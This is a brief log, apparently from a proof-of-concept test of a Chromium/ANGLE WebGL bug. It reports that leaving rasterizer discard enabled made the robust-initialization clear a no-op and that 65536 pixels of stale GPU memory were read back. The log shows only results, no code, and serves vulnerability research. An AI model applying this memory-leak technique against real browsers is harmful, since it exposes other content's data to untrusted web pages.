[POC] GL_RENDERER: ANGLE (Mesa/X.org, llvmpipe (LLVM 15.0.6 256 bits), OpenGL 4.5)
[POC] GL_VENDOR:   Google Inc. (Mesa/X.org)
[POC] GL_VERSION:  WebGL 2.0 (OpenGL ES 3.0 Chromium)
[POC] native GL_RASTERIZER_DISCARD now latched ON
[POC] robust-init clear issued under RASTERIZER_DISCARD (no-op on conformant driver)
[POC] --- RESULT ---
[POC] total pixels:        65536
[POC] non-zero pixels:     65536
[POC] seed-pattern pixels: 65536  (0xdeadbeef)
[POC] first 32 bytes:      de ad be ef de ad be ef de ad be ef de ad be ef de ad be ef de ad be ef de ad be ef de ad be ef
[POC] VULNERABLE: robust-init bypassed, 65536 pixels of stale GPU memory leaked